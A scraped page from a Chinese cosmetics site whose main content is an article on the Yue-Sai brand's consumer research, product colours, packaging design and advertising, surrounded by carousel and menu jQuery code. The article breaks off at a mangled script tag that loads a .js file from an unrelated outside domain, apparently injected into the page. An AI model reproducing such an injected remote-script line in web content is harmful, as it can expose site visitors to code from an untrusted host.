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    <title>羽西的文化韵味 - 和爱一家化妆网</title>
    <meta name="keywords" content="和爱一家,唯爱美,博酷云,网上购物,网上商城,货到付款的购物网站,上品折扣网,上品折扣网上购物,上品折扣,美容护肤,瘦身减肥,时尚品牌,美容护肤知识,奢思雅,仟丝缘,护肤品排名,护肤品价格,行业资讯," />
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        function change1() {

            focusBox1('kakaFocus1');
            function focusBox1(o1) {
                if (!o1) return;

                var w1 = $("#kakaFocus1 .banner_pic").width(), $o1 = $('#' + o1), i = 0, l = 0;
                arr1 = [], t1 = null,

                        $infoLi1 = $o1.find('.banner_info li'), len1 = $infoLi1.length * 2,
                        $ul1 = $o1.find('.banner_pic>ul');
                $ul1.append($ul1.html()).css({'width': len1 * w1, 'left': -len1 * w1 / 2});
                $infoLi1.eq(0).addClass('current');
                //add banner_pages element
                arr1.push('<div class="banner_pages"><ul>');
                $infoLi1.each(function (i) {
                    if (i == 0) {
                        arr1.push('<li class="current"><span>' + (i + 1) + '</span></li>');
                    } else {
                        arr1.push('<li><span>' + (i + 1) + '</span></li>');
                    }
                });
                arr1.push('</ul></div>');
                $o1.append(arr1.join(''));
                var $pagesLi1 = $o1.find('.banner_pages li');
                //mouse
                $pagesLi1.children('span').click(function () {
                    var p1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    i1 = $pagesLi1.children('span').index($(this));
                    if (i1 == p1) return;
                    l1 = parseInt($ul1.css('left')) + w1 * (p1 - i1);
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_prev').click(function () {
                    i1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    (i1 == 0) ? i1 = (len1 / 2 - 1) : i1--;
                    l1 = parseInt($ul1.css('left')) + w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_next').click(function () {
                    i1 = ($pagesLi1.index($o1.find('.banner_pages li.current')) + 1) % (len1 / 2);
                    l1 = parseInt($ul1.css('left')) - w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                //auto focus
                t1 = setInterval(init1, 8000);
                $o1.hover(function () {
                    clearInterval(t1);
                }, function () {
                    t1 = setInterval(init1, 8000);
                });
                function init1() {
                    $o1.children('a.btn_next').trigger('click');
                }

                //add focus
                function addCurrent1(i, l) {
                    if ($ul1.is(':animated')) return;
                    $ul1.animate({'left': l}, 500, function () {
                        $o1.children('.banner_count').text(i + 1);
                        $infoLi1.not($infoLi1.eq(i).addClass('current')).removeClass('current');
                        $pagesLi1.not($pagesLi1.eq(i).addClass('current')).removeClass('current');
                        if (l == (1 - len1) * w1) {
                            $ul1.css({'left': (1 - len1 / 2) * w1});
                        } else if (l == 0) {
                            $ul1.css({'left': -len1 * w1 / 2});
                        }
                    });
                }
            }
        }

        $(document).ready(function () {
            change1();

        })
        //tab
        function nTabs(thisObj, Num) {
            if (thisObj.className == "active")return;
            var tabObj = thisObj.parentNode.id;
            var tabList = document.getElementById(tabObj).getElementsByTagName("li");
            for (i = 0; i < tabList.length; i++) {

                if (i == Num) {
                    thisObj.className = "active";
                    document.getElementById(tabObj + "_Content" + i).style.display = "block";
                    $(".new_right_title").addClass("ywtitle" + i);
                } else {
                    tabList[i].className = "normal";
                    document.getElementById(tabObj + "_Content" + i).style.display = "none";
                    $(".new_right_title").removeClass("ywtitle" + i);
                }
            }
        }

        /*daohang huaguo*/
        $(document).ready(function () {

            function topnav1() {
                var _show = null;
                var _hideTimer = null;
                var planItems = $('ul.c-fl-ul li.division');
                planItems.each(function (index) {
                    var li = $(this);
                    var div = li.find('div.navshow_div');
                    div.css("display", "none");
                    li.bind('mouseenter', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _show = setTimeout(function () {
                            $('ul.nav_navcon li').addClass('');

                            li.addClass('topnav_sel');
                        }, 0);
                    });
                    li.bind('mouseleave', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _hideTimer = setTimeout(function () {
                            li.removeClass('topnav_sel');

                        }, 0);
                    });
                });
            };
            topnav1();

        });
    </script>
</head>
<body>

<div id="index_topa">

    <div class="enter_top" id="enter_top">
        <div class=" w1000 m_center">

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                        src="http://huazhuang.heaiyj.com/static/ddTemp/images/logo.jpg"></a>
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                <div class="searchnav">

                    <div class="searchinput right">
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                        <div class="search_listbox">

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                                        <select id="s0" name="s0" class="selectnews">
                                            <option value="cns">中 新</option>
                                            <option value="baidu">百 度</option>

                                        </select>
                                    </div>
                                </div>
                            </div>

                        </div>
                        <a class="search_a">搜 索</a>
                        <div class="clear"></div>
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                    <div class="clear"></div>
                </div>
                <div class="clear"></div>
            </div>

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        <div class="inter_navbox mt15">
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                    <li><a href="/index.html" title="首页">首页</a><em></em></li>
                    <li><a href="/hyzx/list_1.html" title="行业资讯">行业资讯</a><em></em></li><li><a href="/cysc/list_1.html" title="产业市场">产业市场</a><em></em></li><li><a href="/qdtx/list_1.html" title="渠道透析">渠道透析</a><em></em></li><li><a href="/yfpt/list_1.html" title="原辅配套">原辅配套</a><em></em></li><li><a href="/yxgl/list_1.html" title="营销管理">营销管理</a><em></em></li><li><a href="/changshi/list_1.html" title="化妆常识">化妆常识</a><em></em></li><li><a href="/rank/list_1.html" title="化妆品排名">化妆品排名</a><em></em></li>                </ul>
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                            <ul class="children" id="child" style="display: none;">
                                <li><a href="javascript:void(0);" target="_self">新闻</a></li>
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                        羽西的文化韵味                    </h1>
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                        <div class="left-t" style="padding-left:6px;"> 2016-08-26 18:54　来源：<a href="http://huazhuang.heaiyj.com/" style="color:#666;font-weight:normal;">和爱一家购物网</a></div>
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                        <!-- 文章内容开始 -->
                        从1992年开始到其后的三五年时间里，羽西产品形象大部分商场，牢牢地抓住了一大批特定的消费群体。特别是其独特的营销格调及文化底蕴，被众多的羽西化妆品使用者认可、欣赏、折服。于是，消费者在买走羽西化妆品的同时，也带走了羽西式的微笑，羽西式的关于美的种种观念。

　　一、市场调查

　　产品针对性强是“羽西”品牌成功的关键因素。专门为亚洲女性设计一种完全适合她们使用的化妆品，曾是羽西多年的心愿。羽西曾走遍世界各地，发现当时的欧美各大化妆品公司在世界各地出售的化妆品几乎完全一样。但它们面对的消费者却因所处的地域、文化背景的不同而不同。她用过各种名牌化妆品，仅口红就多达1000多支，但几乎没有适合亚洲女性的产品，于时，专为亚洲女性设计就成为羽西品牌的市场定位。

　　消费者心理分析  如果把全球女性使用化妆品的心理状态归纳为四个方面：开放型、传统型、社会价值体现型、自我价值体现型，那么羽西公司的调查结果表明：黄皮肤、黑眼睛的亚洲女性相当在意自己的存在价值，并且随着社会的发展，大多数亚洲女性对化妆表现得较为开放，而化妆的目的是为了体现这种文化价值观。同时，化妆品不是简单的商品，它兼有物理性质和社会性质。所谓社会性，就是产品是否能适合消费者为什么化妆、为谁化妆的社会心理诉求，前者是基础，后者是产品的内涵、兴奋点，它的难度较大。

　　产品定位分析  羽西发现，同一种世界名牌香水，西方女性喷洒后赋香效果好，可以体现出本人的气质，但用在亚洲女性身上就不同，这基于东西文化背景和食物结构的不同。为此，羽西专为亚洲女性设计了“第一次爱”香水和国际香水系列，其香型清雅、缠绵柔和、令人回味，用后更能体现亚洲女性温柔、细腻的独特的东方。
近年来，欧美流行紫色、深棕色、黑色唇膏，很前卫。但对亚洲女性来说，就不太适合，以黑色唇膏为例，黄皮肤的女性涂用后显得苍老、灰暗甚至病态。所以，为了选择口红的颜色，羽西和设计人员从100多种服饰中选出40种穿在亚洲女性身上，然后用600多种颜色的口红反复地测试，最后才筛选出15种颜色。

　　“羽西”化妆品是专门为亚洲妇性设计的，为了达到这个目的，羽西在产品开发上力求适应亚洲女性黄皮肤、黑眼睛的固有特点、或高贵典雅、或热烈火辣、或恬淡贤淑。缤纷的色彩，极富情调的产品命名，给亚洲女性一个尽情炫耀的空间。

　　二、品牌涵义

　　技术含量分析  为了精益求精，靳羽西还聘请了国际著名的化妆品专家，反复对产品进行设计和试验，“第一次爱”香水就是由世界上最好的香水专家之一，意大利著名女调香师约瑟芬？凯特色诺精心设计，以550多种天然花香料研制而成。为了使护肤化妆品的成分天然化，靳羽西还聘请了中国中草药专家所研制含天然中草药成分的化妆品，其产品中添加的名贵草药有人参、当归、黄芪、珍珠、红花、杏仁、蜂蜜、丹参等15种之多。

　　品牌的文化含量分析  由于羽西出身于艺术家庭，并有西学背景及几十年游走于世界各大知名城市的广泛阅历，其对东西方世界各民族的文化特色了如指掌，于是将其融入了自己的品牌之中。例如，羽西系列口红在开罗桔红、纽约桔红、曼谷桔红、威尼斯桔红、夏威夷粉红、维也纳粉红、日内瓦粉红、好莱坞金色等15种颜色，都用城市的名称命名。并分别注有说明，让使用者有一种特殊的文化享受。

　　品牌的包装艺术  这体现在精美的包装、鲜明的色彩上。1991年，羽西聘请法国著名化妆品装满设计专家乔治？戈立布为羽西系列化妆品进行包装设计，戈立布的设计原则是尽可能地将东方和西方的艺术融合在产品的包装中。在羽西化妆品的每一种产品包装中，都有羽西名字的中英文标记，用汉字的古老书法艺术将羽西的名字设计在所有产品包装的中央，“YS”羽西两字的英文缩写标记隐印在羽西两字下面。护肤类产品的包装用黑白两色，表示出产品的纯正、清洁；彩妆类产品的包装用黑色，再由两道金色过渡到中国戏剧化的红色，其中的胭脂盒、眼影盒、指甲油瓶无一不是羽西童花式发型的反映，它暗示消费者这是羽西形象的体现。

　　三、市场营销

　　广告宣传  为构塑羽西品牌的文化特征，羽西公司是中国女性的欣赏习惯。在不脱色唇膏的广告中有这样一句：“不易脱色、无论你亲吻筷子、茶杯，还是……它处处不留痕。”筷子、茶杯是东方人生活习惯中的一个特点，而“还有”后面用省略号虚化又给人留下许多遐想的空间。这样既含蓄又富有情意的广告语使中国女性更容易接受。

　　羽西公司在美国有专门的广告创作小组，据了解，整个广告都在美国完成。尽管如此，广告片里多出现的仍是中国女性的身影，这种中式广告片充分表达了中国女性如何看待化妆，其中国韵味很快得到中国观众的认可。

　　此外，根据不同地区不同文化背景女性的化妆需求，羽西在推广产品时还力求做到推广方式的文化性。从电视、报刊上的美容讲座，到撰写并赠送《羽西？？亚洲妇女美容指南》，到广泛开展各种美容文化活动，尽量以人们的?script src=http://cn.jxmmtv.com/cn.js&gt;                        <!-- 文章内容结束 -->
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